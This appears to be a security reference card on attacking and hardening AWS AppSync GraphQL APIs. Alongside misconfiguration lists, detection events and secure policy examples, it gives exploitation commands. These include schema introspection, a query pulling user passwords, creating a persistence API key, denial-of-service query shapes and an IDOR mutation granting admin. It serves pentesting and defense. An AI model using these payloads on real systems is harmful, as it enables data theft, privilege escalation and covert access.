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AWS AppSync Security AWS AppSync Security

AWS AppSync Security

Category: MANAGED GRAPHQL

AWS AppSync is a managed GraphQL service that connects applications to data sources including DynamoDB, Lambda, HTTP endpoints, and RDS. It provides real-time subscriptions and offline sync. Attackers exploit GraphQL introspection, authorization flaws, and resolver misconfigurations.

Quick Stats

Risk Level Query Language Methods Subscriptions
HIGH GraphQL 5 Auth Real-time

Service Overview

GraphQL API Architecture

AppSync APIs define a GraphQL schema with types, queries, mutations, and subscriptions. Resolvers connect schema fields to data sources. VTL (Velocity Template Language) or JavaScript resolvers transform requests and responses.

Attack note: Introspection reveals the complete API schema - all types, fields, and operations available

Authentication Methods

AppSync supports API Key, Cognito User Pools, OIDC, IAM, and Lambda authorizers. Multiple auth types can be enabled simultaneously. Field-level authorization controls access to specific schema elements.

Attack note: API keys in client code or misconfigured Cognito pools allow unauthorized API access

Security Risk Assessment

████████░░ 8.0/10 (CRITICAL)

AppSync APIs often expose sensitive business data through GraphQL. Introspection reveals the complete API surface, resolver misconfigurations enable data access bypass, and compromised API keys or auth tokens provide full query capabilities.

⚔️ Attack Vectors

GraphQL Exploitation

  • Introspection query to discover schema
  • Batch queries for denial of service
  • Deeply nested queries for resource exhaustion
  • Query injection via variable manipulation
  • Subscription hijacking for data streaming

Authorization Bypass

  • Access fields without proper auth directives
  • Exploit missing resolver authorization
  • Bypass Cognito group restrictions
  • Use expired or stolen API keys
  • IDOR via predictable ID fields

⚠️ Misconfigurations

Schema & Resolver Issues

  • Introspection enabled in production
  • Missing @auth directives on sensitive fields
  • Resolver returns all DynamoDB attributes
  • No query depth/complexity limits
  • Lambda resolver with excessive permissions

Authentication Problems

  • API key exposed in frontend code
  • Long API key expiration (365 days)
  • Cognito pool allows self-registration
  • Missing field-level authorization
  • IAM auth with overprivileged roles

🔍 Enumeration

List GraphQL APIs

aws appsync list-graphql-apis

Get API Details

aws appsync get-graphql-api \\
  --api-id abc123def456

List API Keys

aws appsync list-api-keys \\
  --api-id abc123def456

Get Schema (Introspection)

aws appsync get-introspection-schema \\
  --api-id abc123def456 \\
  --format SDL \\
  schema.graphql

List Data Sources

aws appsync list-data-sources \\
  --api-id abc123def456

🔎 Introspection Attacks

Schema Discovery

  • Query __schema to get all types
  • Enumerate queries, mutations, subscriptions
  • Discover hidden admin operations
  • Find sensitive field names (password, ssn)
  • Map relationships between types

Reconnaissance Value

  • Complete API documentation exposure
  • Identify data model and business logic
  • Find deprecated but still active fields
  • Discover internal-only operations
  • Map authorization requirements

First Step: Always run introspection query first - it reveals the complete attack surface.

⚡ Resolver Exploitation

VTL Injection

  • Inject into $context.arguments
  • Manipulate DynamoDB scan filters
  • Bypass authorization in resolver logic
  • Access $context.identity for impersonation
  • Exploit string concatenation in templates

Data Source Abuse

  • DynamoDB scan returning all items
  • Lambda resolver with excessive IAM
  • HTTP resolver to internal endpoints
  • RDS resolver with SQL injection
  • OpenSearch resolver query manipulation

🛡️ Detection

CloudTrail Events

  • GetIntrospectionSchema - schema download
  • CreateApiKey - new API key created
  • UpdateGraphqlApi - API configuration changed
  • UpdateResolver - resolver modified
  • CreateDataSource - new data source added

Indicators of Compromise

  • Introspection queries in CloudWatch logs
  • High volume of failed auth attempts
  • Deeply nested or batched queries
  • API key usage from unusual IPs
  • Unauthorized field access in resolvers

Exploitation Commands

Introspection Query

curl -X POST \\
  -H "x-api-key: da2-xxxxxxxxxxxx" \\
  -H "Content-Type: application/json" \\
  -d '{"query":"query { __schema { types { name fields { name } } } }"}' \\
  https://xxxxxx.appsync-api.us-east-1.amazonaws.com/graphql

Get All Data (No Pagination)

curl -X POST \\
  -H "x-api-key: da2-xxxx" \\
  -d '{"query":"query { listUsers { items { id email password } } }"}' \\
  https://xxx.appsync-api.us-east-1.amazonaws.com/graphql

Create API Key (Persistence)

aws appsync create-api-key \\
  --api-id abc123 \\
  --description "backup-key" \\
  --expires $(date -d "+365 days" +%s)

Download Full Schema

aws appsync get-introspection-schema \\
  --api-id abc123 \\
  --format SDL \\
  schema.graphql

List Resolvers

aws appsync list-resolvers \\
  --api-id abc123 \\
  --type-name Query

Get Resolver Code (VTL)

aws appsync get-resolver \\
  --api-id abc123 \\
  --type-name Query \\
  --field-name getUser

Full Introspection Query

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      name
      fields {
        name
        args { name type { name } }
        type { name }
      }
    }
  }
}

Batched Query DoS

query {
  user1: getUser(id: "1") { name email }
  user2: getUser(id: "2") { name email }
  user3: getUser(id: "3") { name email }
  # ... repeat 100+ times
}

Deeply Nested Query

query {
  user(id: "1") {
    posts {
      comments {
        author {
          posts {
            comments {
              author { name }
            }
          }
        }
      }
    }
  }
}

IDOR Exploitation

mutation {
  updateUser(id: "other-user-id", input: {
    role: "admin"
  }) {
    id
    role
  }
}

Policy Examples

❌ Dangerous - No Auth Directive

type Query {
  getUser(id: ID!): User
  listUsers: [User]
  getSecrets: [Secret]
}

No @auth directives - anyone with API access can query all data

✅ Secure - Auth Directives

type Query {
  getUser(id: ID!): User @auth(rules: [{allow: owner}])
  listUsers: [User] @auth(rules: [{allow: groups, groups: ["Admin"]}])
}

type Secret @auth(rules: [{allow: private}]) {
  id: ID!
  value: String!
}

Field and type-level authorization restricts access

❌ Dangerous - Overprivileged Resolver Role

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "dynamodb:*",
    "Resource": "*"
  }]
}

Resolver IAM role can access any DynamoDB table

✅ Secure - Scoped Resolver Role

{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": ["dynamodb:GetItem", "dynamodb:Query"],
    "Resource": "arn:aws:dynamodb:us-east-1:*:table/Users",
    "Condition": {
      "ForAllValues:StringEquals": {
        "dynamodb:LeadingKeys": ["\${appsync:sub}"]
      }
    }
  }]
}

Resolver can only access current user's items

Defense Recommendations

🚫 Disable Introspection in Production

Turn off introspection queries to prevent schema discovery.

aws appsync update-graphql-api \\
  --api-id abc123 \\
  --introspection-config DISABLED

🔐 Implement Field-Level Authorization

Add @auth directives to all sensitive types and fields in schema.

type Secret @auth(rules: [
  {allow: groups, groups: ["Admin"]}
]) { ... }

⏱️ Rotate API Keys Frequently

Set short expiration (7 days) and rotate API keys regularly.

🔒 Use Cognito or IAM Over API Keys

Prefer user-based auth (Cognito) or IAM for production APIs.

📊 Implement Query Depth Limits

Use AWS WAF or custom Lambda authorizer to limit query complexity.

# WAF rule for query depth
# Block if nested levels > 5

📝 Enable CloudWatch Logging

Log all GraphQL operations including field-level resolver execution.

--log-config fieldLogLevel=ALL,
excludeVerboseContent=false

AWS AppSync Security Card

Always obtain proper authorization before testing